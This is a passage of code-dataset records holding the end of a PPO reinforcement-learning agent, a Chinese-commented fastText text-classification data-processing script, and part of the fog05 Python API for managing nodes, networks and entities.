episodes to wait before updating the policy.\n horizon : int\n Horizon.\n gamma : double\n Discount factor in [0, 1].\n learning_rate : double\n Learning rate.\n eps_clip : double\n PPO clipping range (epsilon).\n k_epochs : int\n Number of epochs per update.\n verbose : int\n Controls the verbosity, if non zero, progress messages are printed.\n \"\"\"\n IncrementalAgent.__init__(self, env, **kwargs)\n\n self.n_episodes = n_episodes\n self.batch_size = batch_size\n self.horizon = horizon\n self.gamma = gamma\n self.learning_rate = learning_rate\n self.eps_clip = eps_clip\n self.k_epochs = k_epochs\n\n self.state_dim = self.env.observation_space.dim\n self.action_dim = self.env.action_space.n\n self.verbose = verbose\n\n # check environment\n assert isinstance(self.env.observation_space, spaces.Box)\n assert isinstance(self.env.action_space, spaces.Discrete)\n\n self.cat_policy = None # categorical policy function\n\n # initialize\n self.reset()\n\n def reset(self, **kwargs):\n self.cat_policy = PolicyNet(self.state_dim, self.action_dim).to(device)\n self.policy_optimizer = torch.optim.Adam(self.cat_policy.parameters(),\n lr=self.learning_rate,\n betas=(0.9, 0.999))\n\n self.value_net = ValueNet(self.state_dim).to(device)\n self.value_optimizer = torch.optim.Adam(self.value_net.parameters(),\n lr=self.learning_rate,\n betas=(0.9, 0.999))\n\n self.cat_policy_old = \\\n PolicyNet(self.state_dim, self.action_dim).to(device)\n self.cat_policy_old.load_state_dict(self.cat_policy.state_dict())\n\n self.MseLoss = nn.MSELoss()\n\n self.memory = Memory()\n\n self.episode = 0\n\n # useful data\n self._rewards = np.zeros(self.n_episodes)\n self._cumul_rewards = np.zeros(self.n_episodes)\n\n # logging config\n self._last_printed_ep = 0\n self._time_last_log = time.process_time()\n if self.verbose == 1:\n self._log_interval = 60 # in seconds\n elif self.verbose == 2:\n self._log_interval = 30\n elif self.verbose == 3:\n self._log_interval = 15\n elif self.verbose > 3:\n self._log_interval = 5\n\n def policy(self, state, **kwargs):\n assert self.cat_policy is not None\n state = torch.from_numpy(state).float().to(device)\n action_dist = self.cat_policy_old(state)\n action = action_dist.sample().item()\n return action\n\n def fit(self, **kwargs):\n info = {}\n for k in range(self.n_episodes):\n self._run_episode()\n\n info[\"n_episodes\"] = self.n_episodes\n info[\"episode_rewards\"] = self._rewards\n return info\n\n def partial_fit(self, fraction, **kwargs):\n assert fraction > 0.0 and fraction <= 1.0\n n_episodes_to_run = int(np.ceil(fraction*self.n_episodes))\n count = 0\n while count < n_episodes_to_run and self.episode < self.n_episodes:\n self._run_episode()\n count += 1\n\n info = {}\n info[\"n_episodes\"] = self.episode\n info[\"episode_rewards\"] = self._rewards[:self.episode]\n return info\n\n def _logging(self):\n if self.verbose > 0:\n t_now = time.process_time()\n time_elapsed = t_now - self._time_last_log\n if time_elapsed >= self._log_interval:\n self._time_last_log = t_now\n print(self._info_to_print())\n self._last_printed_ep = self.episode - 1\n\n def _info_to_print(self):\n prev_episode = self._last_printed_ep\n episode = self.episode - 1\n reward_per_ep = self._rewards[prev_episode:episode + 1].sum() \\\n / max(1, episode - prev_episode)\n time_per_ep = self._log_interval * 1000.0 \\\n / max(1, episode - prev_episode)\n time_per_ep = max(0.01, time_per_ep) # avoid div by zero\n fps = int((self.horizon / time_per_ep) * 1000)\n\n to_print = \"[{}] episode = {}/{} \".format(self.name, episode+1,\n self.n_episodes) \\\n + \"| reward/ep = {:0.2f} \".format(reward_per_ep) \\\n + \"| time/ep = {:0.2f} ms\".format(time_per_ep) \\\n + \"| fps = {}\".format(fps)\n return to_print\n\n def _select_action(self, state):\n state = torch.from_numpy(state).float().to(device)\n action_dist = self.cat_policy_old(state)\n action = action_dist.sample()\n action_logprob = action_dist.log_prob(action)\n\n self.memory.states.append(state)\n self.memory.actions.append(action)\n self.memory.logprobs.append(action_logprob)\n\n return action.item()\n\n def _run_episode(self):\n # interact for H steps\n episode_rewards = 0\n state = self.env.reset()\n for t in range(self.horizon):\n # running policy_old\n action = self._select_action(state)\n next_state, reward, done, _ = self.env.step(action)\n\n # save in batch\n self.memory.rewards.append(reward)\n self.memory.is_terminals.append(done)\n episode_rewards += reward\n\n if done:\n break\n\n # update state\n state = next_state\n\n # update\n ep = self.episode\n self._rewards[ep] = episode_rewards\n self._cumul_rewards[ep] = episode_rewards \\\n + self._cumul_rewards[max(0, ep - 1)]\n self.episode += 1\n self._logging()\n\n #\n if self.episode % self.batch_size == 0:\n self._update()\n self.memory.clear_memory()\n\n return episode_rewards\n\n def _update(self):\n # monte carlo estimate of rewards\n rewards = []\n discounted_reward = 0\n for reward, is_terminal in zip(reversed(self.memory.rewards),\n reversed(self.memory.is_terminals)):\n if is_terminal:\n discounted_reward = 0\n discounted_reward = reward + (self.gamma * discounted_reward)\n rewards.insert(0, discounted_reward)\n\n # normalizing the rewards\n rewards = torch.tensor(rewards).to(device).float()\n rewards = (rewards - rewards.mean()) / (rewards.std() + 1e-5)\n\n # convert list to tensor\n old_states = torch.stack(self.memory.states).to(device).detach()\n old_actions = torch.stack(self.memory.actions).to(device).detach()\n old_logprobs = torch.stack(self.memory.logprobs).to(device).detach()\n\n # optimize policy for K epochs\n for _ in range(self.k_epochs):\n # evaluate old actions and values\n action_dist = self.cat_policy(old_states)\n logprobs = action_dist.log_prob(old_actions)\n state_values = self.value_net(old_states)\n dist_entropy = action_dist.entropy()\n\n # find ratio (pi_theta / pi_theta__old)\n ratios = torch.exp(logprobs - old_logprobs.detach())\n\n # find surrogate loss\n advantages = rewards - state_values.detach()\n surr1 = ratios * advantages\n surr2 = torch.clamp(ratios, 1 - self.eps_clip,\n 1 + self.eps_clip) * advantages\n loss = -torch.min(surr1, surr2) \\\n + 0.5 * self.MseLoss(state_values, rewards) \\\n - 0.01 * dist_entropy\n\n # take gradient step\n self.policy_optimizer.zero_grad()\n self.value_optimizer.zero_grad()\n\n loss.mean().backward()\n\n self.policy_optimizer.step()\n self.value_optimizer.step()\n\n # copy new weights into old policy\n self.cat_policy_old.load_state_dict(self.cat_policy.state_dict())\n\n #\n # For hyperparameter optimization\n #\n @classmethod\n def sample_parameters(cls, trial):\n batch_size = trial.suggest_categorical('batch_size',\n [1, 4, 8, 16, 32, 64])\n learning_rate = trial.suggest_loguniform('learning_rate', 1e-5, 1)\n return {\n 'batch_size': batch_size,\n 'learning_rate': learning_rate,\n }\n","sub_path":"rlberry/agents/ppo/ppo.py","file_name":"ppo.py","file_ext":"py","file_size_in_byte":11336,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"427203571","text":"import numpy as np\nimport sys,time,pickle,random,configparser\nfrom sklearn.feature_extraction.text import TfidfVectorizer\nsys.path.append('./Base_Line')\nsys.path.append('../../Base_Line')\nfrom base_data_process import Base_Process\n\nclass parameters():\n def __init__(self):\n self.learning_rate = 0.0001\n # self.is_training = True\n # self.update_embedding = True\n # self.num_train_epochs = 10\n # self.batch_size = 64\n # self.shuffle = True\n # self.dropout_rate = 0.9\n # self.display_per_step = 100\n # self.evaluation_per_step = 500\n # self.require_improvement = 1\n\nclass Date_Process(Base_Process):\n\n # 初始化模型,构造分词器、训练语料分词、生成embedding矩阵\n def init(self):\n \"\"\"\n 初始化参数,主要为4步:\n 1、初始化分词器\n 2、读取数据\n 3、数据处理\n 4、产生预训练的embedding矩阵\n :param feature_selection_name: 使用的预训练矩阵名称\n :return:\n \"\"\"\n self.tokenizer, self.stopwords = self.make_tokenizer()\n self.read_data()\n self.data_process()\n\n\n def parse_config(self,config_path):\n \"\"\"\n 解析config文件,根据不同的参数,解析情况可能不一致\n :return:\n \"\"\"\n # 基础分词器参数\n self.config = configparser.ConfigParser()\n self.config.read(config_path,encoding=\"utf-8-sig\")\n self.uerdict_path = self.config.get('DEFAULT', 'uerdict_path')\n self.stopwords_path = self.config.get('DEFAULT', 'stopwords_path')\n self.tokenizer_name = self.config.get('DEFAULT', 'tokenizer_name')\n\n # 数据处理所需参数\n self.file_path = self.config.get('DATA_PROCESS', 'file_path')\n self.save_path = self.config.get('DATA_PROCESS', 'save_path')\n\n # 模型所需参数\n self.param = parameters()\n self.param.lr = self.config.getfloat('MODEL', 'lr')\n self.param.epoch = self.config.getint('MODEL', 'epoch')\n self.param.wordNgrams = self.config.getint('MODEL', 'wordNgrams')\n self.param.minCount = self.config.getint('MODEL', 'minCount')\n\n # 数据处理(头条)\n def data_process(self):\n \"\"\"\n 获得word2id,tag2id,将原始数据按比例切割。\n :return:\n \"\"\"\n all_tag = []\n for i in self.raw_data:\n if i[-1] not in all_tag:\n all_tag.append(i[-1])\n self.tag2id = {all_tag[i]: i for i in range(len(all_tag))}\n self.id2tag = {v: k for k, v in self.tag2id.items()}\n\n for snentence_1, snentence_2, tag in self.raw_data:\n seg_list = self.tokenizer.cut(snentence_2)\n seg_list = [i for i in seg_list if i not in self.stopwords]\n self.all_data.append([seg_list, tag])\n\n\n random.seed(1)\n random.shuffle(self.all_data)\n data_len = len(self.all_data)\n train = int(data_len * 0.8)\n self.train_data = self.all_data[:train]\n self.test_data = self.all_data[train:]\n\n # 解析数据,将数据变为数字表示\n def parse_data(self, data):\n \"\"\"\n 将原始数据转变为数字id的形式,并进行填充\n :param data:\n :param word2id:\n :param tag2id:\n :param max_length:\n :return:\n \"\"\"\n time_spot = time.time()\n time_spot = str(time_spot).replace(\".\", \"\")[-13:]\n train_file_name = time_spot + \"_train_\" + \".txt\"\n with open(train_file_name, 'w', encoding='utf-8') as f:\n for seg_list, tag in data:\n seg_list = \" \".join(seg_list)\n tag = self.tag2id[tag]\n one_line = seg_list + \"\\t__label__\" + str(tag) + \"\\n\"\n f.write(one_line)\n return train_file_name\n\n # 将数据按批次输出\n def get_batch(self, data, batch_size, max_seq_length, shuffle=False):\n \"\"\"\n :param data:\n :param batch_size:\n :param vocab:\n :param tag2label:\n :param shuffle:\n :return:\n \"\"\"\n if shuffle:\n random.shuffle(data)\n for i in range(len(data) // batch_size):\n data_size = data[i * batch_size: (i + 1) * batch_size]\n seqs, labels, sentence_legth = [], [], []\n for (sent_, tag_, seq_legth) in data_size:\n seqs.append(sent_)\n labels.append(tag_)\n if seq_legth > max_seq_length:\n seq_legth = max_seq_length\n sentence_legth.append(seq_legth)\n yield np.array(seqs), np.array(labels), sentence_legth\n remainder = len(data) % batch_size\n if remainder != 0:\n data_size = data[-remainder:]\n seqs, labels, sentence_legth = [], [], []\n for (sent_, tag_, seq_legth) in data_size:\n seqs.append(sent_)\n labels.append(tag_)\n if seq_legth > max_seq_length:\n seq_legth = max_seq_length\n sentence_legth.append(seq_legth)\n yield np.array(seqs), np.array(labels), sentence_legth\n\n # 保存模型\n def save_model(self, save_path):\n with open(save_path, 'wb') as f:\n pickle.dump((self.train_data, self.test_data,\n self.tag2id, self.id2tag, self.word2id, self.id2word, self.embedding_mat), f)\n\n # 恢复模型\n def load_model(self, load_path):\n with open(load_path, 'rb') as f:\n self.train_data, self.test_data, \\\n self.tag2id, self.id2tag, self.word2id, self.id2word, self.embedding_mat = pickle.load(f)\n\n\n\nif __name__ == '__main__':\n dp = Date_Process()\n dp.parse_config(\"./default.cfg\")\n dp.param.aaaa = 11\n print(dir(dp.param))\n for i in dir(dp.param):\n if \"__\" not in i:\n print(str(i)+\" \"+str(getattr(dp.param, i)))\n","sub_path":"Texts_Classification/fasttext_文本分类/data_process.py","file_name":"data_process.py","file_ext":"py","file_size_in_byte":5939,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"309897204","text":"from jsonschema import validate, ValidationError\nfrom fog05 import Schemas\nfrom dstore import Store\nfrom enum import Enum\nimport re\nimport uuid\nimport json\nimport fnmatch\nimport time\n\nclass FOSStore(object):\n\n \"Helper class to interact with the Store\"\n\n def __init__(self, aroot, droot, home):\n '''\n\n Initialize the Store with root and home\n\n :param aroot: actual store root\n :param droot: desired store root\n :param home: store home also used to generate store id\n '''\n\n self.aroot = aroot # 'dfos://{}'\n self.ahome = str('{}/{}'.format(aroot, home)) # str('dfos://{}/{}' % self.uuid)\n\n self.droot = droot # 'dfos://{}'\n self.dhome = str('{}/{}'.format(droot, home)) # str('dfos://{}/{}' % self.uuid)\n\n self.actual = Store('a{}'.format(home), self.aroot, self.ahome, 1024)\n self.desired = Store('d{}'.format(home), self.droot, self.dhome, 1024)\n\n def close(self):\n '''\n Close the store\n\n :return: None\n '''\n self.actual.close()\n self.desired.close()\n\n\n\n\nclass API(object):\n '''\n This class allow the interaction with fog05 using simple Python3 API\n Need the distributed store\n '''\n\n def __init__(self, sysid=0, store_id=\"python-api\"):\n\n self.a_root = 'afos://{}'.format(sysid)\n self.d_root = 'dfos://{}'.format(sysid)\n self.store = FOSStore(self.a_root, self.d_root, store_id)\n\n self.manifest = self.Manifest(self.store)\n self.node = self.Node(self.store)\n self.plugin = self.Plugin(self.store)\n self.network = self.Network(self.store)\n self.entity = self.Entity(self.store)\n self.image = self.Image(self.store)\n self.flavor = self.Flavor(self.store)\n self.onboard = self.add\n self.offload = self.remove\n\n def add(self, manifest):\n manifest.update({'status': 'define'})\n nodes = self.node.list()\n\n for n in nodes:\n u = n[0]\n uri = \"{}/{}/onboard/{}\".format(self.d_root, u, manifest.get('uuid'))\n value = json.dumps(manifest)\n self.store.desired.put(uri, value)\n\n instances_uuids = {}\n networks_uuid = []\n\n try:\n validate(manifest, Schemas.entity_schema)\n except ValidationError as ve:\n print(ve.message)\n exit(-1)\n nws = manifest.get('networks')\n # print('networks: {}'.format(nws))\n for n in nws:\n for node in nodes:\n res = self.network.add(manifest=n, node_uuid=node[0])\n if not res:\n raise Exception('Error on define network {} -> {} on {} (RES={})'.format(n.get('uuid'), manifest.get('uuid'), node[0],res))\n networks_uuid.append(n.get('uuid'))\n c_list = self.resolve_dependencies(manifest.get('components'))\n for c in c_list:\n search = [x for x in manifest.get(\"components\") if x.get('name') == c]\n if len(search) > 0:\n component = search[0]\n # print('Onboarding: {}'.format(component))\n mf = component.get('manifest')\n res = self.entity.define(manifest=mf, node_uuid=component.get('node'), wait=True)\n # print(res)\n if not res:\n raise Exception('Error on define entity {} -> {} on {} (RES={})'.format(manifest.get('uuid'), mf.get('uuid'), component.get('node'), res))\n time.sleep(0.5)\n c_i_uuid = '{}'.format(uuid.uuid4())\n res = self.entity.configure(mf.get('uuid'), component.get('node'), instance_uuid=c_i_uuid, wait=True)\n # print(res)\n if not res:\n raise Exception('Error on define entity {} -> {} on {} (RES={})'.format(manifest.get('uuid'), mf.get('uuid'), component.get('node'), res))\n res = self.entity.run(mf.get('uuid'), component.get('node'), instance_uuid=c_i_uuid, wait=True)\n # print(res)\n time.sleep(2)\n if not res:\n raise Exception('Error on define entity {} -> {} on {} (RES={})'.format(manifest.get('uuid'), mf.get('uuid'), component.get('node'), res))\n instances_uuids.update({mf.get('uuid'): c_i_uuid})\n\n return {'entity': {manifest.get('uuid'): instances_uuids}, 'networks': networks_uuid }\n\n def remove(self, entity_uuid):\n nodes = self.node.list()\n if len(nodes)>0:\n u = nodes[0][0]\n uri = \"{}/{}/onboard/{}\".format(self.a_root, u, entity_uuid)\n data = self.store.actual.resolve(uri)\n entities = self.entity.list() # {node uuid: {entity uuid: [instance list]} list}\n # print('entities {}'.format(entities))\n if data is not None and len(data) > 0:\n data = json.loads(data)\n # print('Data {}'.format(data))\n for c in data.get('components'):\n # print('C {}'.format(c))\n eid = c.get('manifest').get('uuid')\n # print('eid {}'.format(eid))\n for nid in entities:\n # print('entities.get(nid) {}'.format(entities.get(nid)))\n if eid in entities.get(nid):\n instances = entities.get(nid).get(eid)\n # print('instances {}'.format(instances))\n for inst in instances:\n # print('I should stop {} -> {} -> {}'.format(inst,eid, nid))\n self.entity.stop(eid, nid, inst, wait=True)\n # print('I should clean {} -> {} -> {}'.format(inst, eid, nid))\n self.entity.clean(eid, nid, inst, wait=True)\n # print('I should undefine {} -> {}'.format(eid, nid))\n self.entity.undefine(eid, nid, wait=True)\n for n in nodes:\n u = n[0]\n uri = \"{}/{}/onboard/{}\".format(self.d_root, u, entity_uuid)\n # print('I should remove {}'.format(uri))\n self.store.desired.remove(uri)\n\n\n\n\n def resolve_dependencies(self, components):\n '''\n The return list contains component's name in the order that can be used to deploy\n @TODO: should use less cycle to do this job\n :rtype: list\n :param components: list like [{'name': 'c1', 'need': ['c2', 'c3']}, {'name': 'c2', 'need': ['c3']}, {'name': 'c3', 'need': ['c4']}, {'name': 'c4', 'need': []}, {'name': 'c5', 'need': []}]\n\n no_dependable_components -> list like [[{'name': 'c4', 'need': []}, {'name': 'c5', 'need': []}], [{'name': 'c3', 'need': []}], [{'name': 'c2', 'need': []}], [{'name': 'c1', 'need': []}], []]\n :return: list like ['c4', 'c5', 'c3', 'c2', 'c1']\n '''\n c = list(components)\n no_dependable_components = []\n for i in range(0, len(components)):\n no_dependable_components.append([x for x in c if len(x.get('need')) == 0])\n # print (no_dependable_components)\n c = [x for x in c if x not in no_dependable_components[i]]\n for y in c:\n n = y.get('need')\n n = [x for x in n if x not in [z.get('name') for z in no_dependable_components[i]]]\n y.update({\"need\": n})\n\n order = []\n for i in range(0, len(no_dependable_components)):\n n = [x.get('name') for x in no_dependable_components[i]]\n order.extend(n)\n return order\n\n class Manifest(object):\n '''\n This class encapsulates API for manifests\n\n '''\n def __init__(self, store=None):\n if store is None:\n raise RuntimeError('store cannot be none in API!')\n self.store = store\n\n def check(self, manifest, manifest_type):\n '''\n\n This method allow you to check if a manifest is write in the correct way\n\n\n :param manifest: a dictionary rapresenting the JSON manifest\n :param manifest_type: the manifest type from API.Manifest.Type\n :return: boolean\n '''\n if manifest_type == self.Type.ENTITY:\n t = manifest.get('type')\n try:\n if t == 'vm':\n validate(manifest.get('entity_data'), Schemas.vm_schema)\n elif t == 'container':\n validate(manifest.get('entity_data'), Schemas.container_schema)\n elif t == 'native':\n validate(manifest.get('entity_data'), Schemas.native_schema)\n elif t == 'ros2':\n validate(manifest.get('entity_data'), Schemas.ros2_schema)\n elif t == 'usvc':\n return False\n else:\n return False\n except ValidationError as ve:\n return False\n if manifest_type == self.Type.NETWORK:\n try:\n validate(manifest, Schemas.network_schema)\n except ValidationError as ve:\n return False\n if manifest_type == self.Type.ENTITY:\n try:\n validate(manifest, Schemas.entity_schema)\n except ValidationError as ve:\n return False\n\n return True\n\n class Type(Enum):\n '''\n Manifest types\n '''\n ENTITY = 0\n IMAGE = 1\n FLAVOR = 3\n NETWORK = 4\n PLUGIN = 5\n\n class Node(object):\n '''\n\n This class encapsulates the command for Node interaction\n\n '''\n\n def __init__(self, store=None):\n if store is None:\n raise RuntimeError('store cannot be none in API!')\n self.store = store\n\n def list(self):\n '''\n Get all nodes in the current system/tenant\n\n :return: list of tuples (uuid, hostname)\n '''\n nodes = []\n uri = '{}/*'.format(self.store.aroot)\n infos = self.store.actual.resolveAll(uri)\n for i in infos:\n if len(i[0].split('/')) == 4:\n node_info = json.loads(i[1])\n nodes.append((node_info.get('uuid'), node_info.get('name')))\n return nodes\n\n def info(self, node_uuid):\n \"\"\"\n Provide all information about a specific node\n\n :param node_uuid: the uuid of the node you want info\n :return: a dictionary with all information about the node\n \"\"\"\n if node_uuid is None:\n return None\n uri = '{}/{}'.format(self.store.aroot, node_uuid)\n infos = self.store.actual.resolve(uri)\n if infos is None:\n return None\n return json.loads(infos)\n\n def plugins(self, node_uuid):\n '''\n\n Get the list of plugin installed on the specified node\n\n :param node_uuid: the uuid of the node you want info\n :return: a list of the plugins installed in the node with detailed informations\n '''\n uri = '{}/{}/plugins'.format(self.store.aroot, node_uuid)\n response = self.store.actual.get(uri)\n if response is not None:\n return json.loads(response).get('plugins')\n else:\n return None\n\n def search(self, search_dict):\n '''\n\n Will search for a node that match information provided in the parameter\n\n :param search_dict: dictionary contains all information to match\n :return: a list of node matching the dictionary\n '''\n pass\n\n class Plugin(object):\n '''\n This class encapsulates the commands for Plugin interaction\n\n '''\n def __init__(self, store=None):\n if store is None:\n raise RuntimeError('store cannot be none in API!')\n self.store = store\n\n def add(self, manifest, node_uuid=None):\n '''\n\n Add a plugin to a node or to all node in the system/tenant\n\n :param manifest: the dictionary representing the plugin manifes\n :param node_uuid: optional the node in which add the plugin\n :return: boolean\n '''\n\n\n manifest.update({'status':'add'})\n plugins = {\"plugins\": [manifest]}\n plugins = json.dumps(plugins)\n if node_uuid is None:\n uri = '{}/*/plugins'.format(self.store.droot)\n else:\n uri = '{}/{}/plugins'.format(self.store.droot, node_uuid)\n\n res = self.store.desired.dput(uri, plugins)\n if res:\n return True\n else:\n return False\n\n def remove(self, plugin_uuid, node_uuid=None):\n '''\n\n Will remove a plugin for a node or all nodes\n\n :param plugin_uuid: the plugin you want to remove\n :param node_uuid: optional the node that will remove the plugin\n :return: boolean\n '''\n pass\n\n def list(self, node_uuid=None):\n '''\n\n Same as API.Node.Plugins but can work for all node un the system, return a dictionary with key node uuid and value the plugin list\n\n :param node_uuid: can be none\n :return: dictionary {node_uuid, plugin list }\n '''\n if node_uuid is not None:\n\n uri = '{}/{}/plugins'.format(self.store.aroot, node_uuid)\n response = self.store.actual.get(uri)\n if response is not None:\n return {node_uuid:json.loads(response).get('plugins')}\n else:\n return None\n\n plugins = {}\n uri = '{}/*/plugins'.format(self.store.aroot)\n response = self.store.actual.resolveAll(uri)\n for i in response:\n id = i[0].split('/')[2]\n pl = json.loads(i[1]).get('plugins')\n plugins.update({id: pl})\n return plugins\n\n def search(self, search_dict, node_uuid=None):\n '''\n\n Will search for a plugin matching the dictionary in a single node or in all nodes\n\n :param search_dict: dictionary contains all information to match\n :param node_uuid: optional node uuid in which search\n :return: a dictionary with {node_uuid, plugin uuid list} with matches\n '''\n pass\n\n class Network(object):\n '''\n\n This class encapsulates the command for Network element interaction\n\n '''\n\n def __init__(self, store=None):\n if store is None:\n raise RuntimeError('store cannot be none in API!')\n self.store = store\n\n def __get_all_node_plugin(self, node_uuid):\n uri = '{}/{}/plugins'.format(self.store.aroot, node_uuid)\n response = self.store.actual.resolve(uri)\n if response is not None and response != '':\n return json.loads(response).get('plugins')\n else:\n return None\n\n def add(self, manifest, node_uuid=None):\n '''\n\n Add a network element to a node o to all nodes\n\n\n :param manifest: dictionary representing the manifest of that network element\n :param node_uuid: optional the node uuid in which add the network element\n :return: boolean\n '''\n\n manifest.update({'status': 'add'})\n json_data = json.dumps(manifest)\n\n if node_uuid is not None:\n all_plugins = self.__get_all_node_plugin(node_uuid)\n if all_plugins is None:\n print('Error on receive plugin from node')\n return False\n nws = [x for x in all_plugins if x.get('type') == 'network']\n if len(nws) == 0:\n print('No network plugin loaded on node, aborting')\n return False\n brctl = nws[0].get('uuid') # will use the first plugin\n uri = '{}/{}/network/{}/networks/{}'.format(self.store.droot, node_uuid, brctl, manifest.get('uuid'))\n else:\n uri = '{}/*/network/*/networks/{}'.format(self.store.droot, manifest.get('uuid'))\n\n res = self.store.desired.put(uri, json_data)\n if res >= 0:\n return True\n else:\n return False\n\n def remove(self, net_uuid, node_uuid=None):\n '''\n\n Remove a network element form one or all nodes\n\n :param net_uuid: uuid of the network you want to remove\n :param node_uuid: optional node from which remove the network element\n :return: boolean\n '''\n\n if node_uuid is not None:\n all_plugins = yield from self.__get_all_node_plugin(node_uuid)\n if all_plugins is None:\n print('Error on receive plugin from node')\n return False\n nws = [x for x in all_plugins if x.get('type') == 'network']\n if len(nws) == 0:\n print('No network plugin loaded on node, aborting')\n return False\n brctl = nws[0] # will use the first plugin\n uri = '{}/{}/network/{}/networks/{}'.format(self.store.droot, node_uuid, brctl, net_uuid)\n else:\n uri = '{}/*/network/*/networks/{}'.format(self.store.droot, net_uuid)\n\n res = self.store.desired.remove(uri)\n if res:\n return True\n else:\n return False\n\n def list(self, node_uuid=None):\n '''\n\n List all network element available in the system/teneant or in a specified node\n\n :param node_uuid: optional node uuid\n :return: dictionary {node uuid: network element list}\n '''\n\n if node_uuid is not None:\n n_list = []\n uri = '{}/{}/network/*/networks/'.format(self.store.aroot, node_uuid)\n response = self.store.actual.resolveAll(uri)\n for i in response:\n n_list.append(json.loads(i[1]))\n return {node_uuid: n_list}\n\n nets = {}\n uri = '{}/*/network/*/networks/'.format(self.store.aroot)\n response = self.store.actual.resolveAll(uri)\n for i in response:\n id = i[0].split('/')[2]\n net = json.loads(i[1])\n net_list = nets.get(id, None)\n if net_list is None:\n net_list = []\n net_list.append(net)\n nets.update({id: net_list})\n return nets\n\n def search(self, search_dict, node_uuid=None):\n '''\n\n Will search for a network element matching the dictionary in a single node or in all nodes\n\n :param search_dict: dictionary contains all information to match\n :param node_uuid: optional node uuid in which search\n :return: a dictionary with {node_uuid, network element uuid list} with matches\n '''\n pass\n\n class Entity(object):\n '''\n\n This class encapsulates the api for interaction with entities\n\n '''\n\n def __init__(self, store=None):\n if store is None:\n raise RuntimeError('store cannot be none in API!')\n self.store = store\n\n def __search_plugin_by_name(self, name, node_uuid):\n uri = '{}/{}/plugins'.format(self.store.aroot, node_uuid)\n all_plugins = self.store.actual.resolve(uri)\n if all_plugins is None or all_plugins == '':\n print('Cannot get plugin')\n return None\n all_plugins = json.loads(all_plugins).get('plugins')\n search = [x for x in all_plugins if name.upper() in x.get('name').upper()]\n if len(search) == 0:\n return None\n else:\n return search[0]\n\n def __get_entity_handler_by_uuid(self, node_uuid, entity_uuid):\n uri = '{}/{}/runtime/*/entity/{}'.format(self.store.aroot, node_uuid, entity_uuid)\n all = self.store.actual.resolveAll(uri)\n for i in all:\n k = i[0]\n if fnmatch.fnmatch(k, uri):\n # print('MATCH {0}'.format(k))\n # print('Extracting uuid...')\n regex = uri.replace('/', '\\/')\n regex = regex.replace('*', '(.*)')\n reobj = re.compile(regex)\n mobj = reobj.match(k)\n uuid = mobj.group(1)\n # print('UUID {0}'.format(uuid))\n\n return uuid\n\n def __get_entity_handler_by_type(self, node_uuid, t):\n handler = None\n handler = self.__search_plugin_by_name(t, node_uuid)\n if handler is None:\n print('type not yet supported')\n return handler\n\n def __wait_atomic_entity_state_change(self, node_uuid, handler_uuid, entity_uuid, state):\n while True:\n time.sleep(1)\n uri = '{}/{}/runtime/{}/entity/{}'.format(self.store.aroot, node_uuid, handler_uuid, entity_uuid)\n data = self.store.actual.get(uri)\n if data is not None:\n entity_info = json.loads(data)\n if entity_info is not None and entity_info.get('status') == state:\n return\n\n def __wait_atomic_entity_instance_state_change(self, node_uuid, handler_uuid, entity_uuid, instance_uuid, state):\n while True:\n time.sleep(1)\n uri = '{}/{}/runtime/{}/entity/{}/instance/{}'.format(self.store.aroot, node_uuid, handler_uuid, entity_uuid, instance_uuid)\n data = self.store.actual.get(uri)\n if data is not None:\n entity_info = json.loads(data)\n if entity_info is not None and entity_info.get('status') == state:\n return\n\n def define(self, manifest, node_uuid, wait=False):\n '''\n\n Defines an atomic entity in a node, this method will check the manifest before sending the definition to the node\n\n :param manifest: dictionary representing the atomic entity manifest\n :param node_uuid: destination node uuid\n :param wait: if wait that the definition is complete before returning\n :return: boolean\n '''\n\n manifest.update({'status': 'define'})\n handler = None\n t = manifest.get('type')\n try:\n if t in ['kvm', 'xen']:\n handler = self.__search_plugin_by_name(t, node_uuid)\n validate(manifest.get('entity_data'), Schemas.vm_schema)\n elif t in ['container', 'lxd']:\n handler = self.__search_plugin_by_name(t, node_uuid)\n validate(manifest.get('entity_data'), Schemas.container_schema)\n elif t == 'native':\n handler = self.__search_plugin_by_name('native', node_uuid)\n validate(manifest.get('entity_data'), Schemas.native_schema)\n elif t == 'ros2':\n handler = self.__search_plugin_by_name('ros2', node_uuid)\n validate(manifest.get('entity_data'), Schemas.ros2_schema)\n elif t == 'usvc':\n print('microservice not yet')\n else:\n print('type not recognized')\n\n if handler is None:\n print('Handler not found!! (Is none)')\n return False\n except ValidationError as ve:\n print('Validation error: {}'.format(ve.message))\n return False\n\n if handler.get('uuid') is None:\n print('Handler not found!! (Cannot get handler uuid)')\n return False\n\n entity_uuid = manifest.get('uuid')\n entity_definition = manifest\n json_data = json.dumps(entity_definition)\n uri = '{}/{}/runtime/{}/entity/{}'.format(self.store.droot, node_uuid, handler.get('uuid'), entity_uuid)\n\n res = self.store.desired.put(uri, json_data)\n # print('RES is {}'.format(res))\n if res >= 0:\n if wait:\n self.__wait_atomic_entity_state_change(node_uuid,handler.get('uuid'), entity_uuid, 'defined')\n return True\n else:\n return False\n\n def undefine(self, entity_uuid, node_uuid, wait=False):\n '''\n\n This method undefine an atomic entity in a node\n\n :param entity_uuid: atomic entity you want to undefine\n :param node_uuid: destination node\n :param wait: if wait before returning that the entity is undefined\n :return: boolean\n '''\n handler = self.__get_entity_handler_by_uuid(node_uuid, entity_uuid)\n uri = '{}/{}/runtime/{}/entity/{}'.format(self.store.droot, node_uuid, handler, entity_uuid)\n\n res = self.store.desired.remove(uri)\n return True\n # if res >= 0:\n # return True\n # else:\n # return False\n\n def configure(self, entity_uuid, node_uuid, instance_uuid=None, wait=False):\n '''\n\n Configure an atomic entity, creation of the instance\n\n :param entity_uuid: entity you want to configure\n :param node_uuid: destination node\n :param instance_uuid: optional if preset will use that uuid for the atomic entity instance otherwise will generate a new one\n :param wait: optional wait before returning\n :return: intstance uuid or none in case of error\n '''\n handler = self.__get_entity_handler_by_uuid(node_uuid, entity_uuid)\n if instance_uuid is None:\n instance_uuid = '{}'.format(uuid.uuid4())\n\n uri = '{}/{}/runtime/{}/entity/{}/instance/{}#status=configure'.format(self.store.droot, node_uuid, handler, entity_uuid, instance_uuid)\n res = self.store.desired.dput(uri)\n # print('RES is {}'.format(res))\n if res >= 0:\n if wait:\n self.__wait_atomic_entity_instance_state_change(node_uuid, handler, entity_uuid, instance_uuid, 'configured')\n return instance_uuid\n else:\n return None\n\n def clean(self, entity_uuid, node_uuid, instance_uuid, wait=False):\n '''\n\n Clean an atomic entity instance, this will destroy the instance\n\n :param 